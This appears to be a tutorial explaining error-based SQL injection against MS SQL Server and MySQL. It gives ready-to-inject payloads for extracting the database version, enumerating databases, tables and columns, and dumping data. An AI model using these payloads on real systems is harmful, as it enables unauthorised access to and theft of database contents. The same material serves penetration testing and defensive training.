Error-based SQL injections are an advanced technique to extract data from a database by triggering errors that reveal information within the error messages. This method is particularly fast and effective and is supported by various database management systems (DBMS) such as Oracle, PostgreSQL, and MS SQL Server.
MS SQL Server Version Extraction: To begin, it's crucial to identify the version of the MS SQL Server, as different versions may have different default column names in the master database. The CAST
technique is employed to trigger a type conversion error, which reveals the database version. For example:
9999999 or 1 in (SELECT TOP 1 CAST(@@version as varchar(4096))); --
This payload, when injected into the vulnerable parameter, will cause an error message that includes the database version.
Enumerating Databases: After identifying the version, the next step is to enumerate the databases accessible to the current user. This is done using the db_name()
function within a loop:
9999999 or 1 in (SELECT TOP 1 CAST (db_name(1) as varchar(4096))); --
Incrementing the argument of db_name()
allows iterating through the available databases.
Enumerating Database Tables: Once databases are enumerated, the next step is to find the tables in a particular database:
9999999 or 1 in (SELECT TOP 1 CAST(name as varchar(4096)) FROM <database_name>..sysobjects WHERE xtype='U' and name NOT IN ('')); --
Here, the xtype='U'
condition ensures that only user-defined tables are considered.
Enumerating Columns: After identifying tables, the columns within those tables need to be enumerated:
9999 or 1 in (SELECT TOP 1 CAST (<db_name>..syscolumns.name as varchar(4096)) FROM <db_name>..syscolumns,<db_name>..sysobjects WHERE <db_name>..syscolumns.id=<db_name>..sysobjects.id AND <db_name>..sysobjects.name=<table_name> AND <db_name>..syscolumns.name NOT IN ('')); --
This query retrieves the column names for a specific table in the specified database.
Dumping Data: Finally, with knowledge of the database structure, data can be dumped using a similar technique:
9999999 or 1 in (SELECT TOP 1 CAST(<column_name> as varchar(4096)) FROM <database_name>..<table_name> WHERE <column_name> NOT IN ('')); -- -
This query retrieves the actual content of the specified column in the specified table.
To exploit error-based SQL injection on MySQL, the GROUP BY
statement is utilized. An example payload skeleton is as follows:
SELECT 1,2 UNION SELECT COUNT(*), CONCAT(<information_to_extract>, floor(rand(0)*2)) AS x FROM information_schema.tables GROUP BY x;
For example, to extract the database version:
SELECT COUNT(*), CONCAT(version(), floor(rand(0)*2)) AS x FROM information_schema.tables GROUP BY x;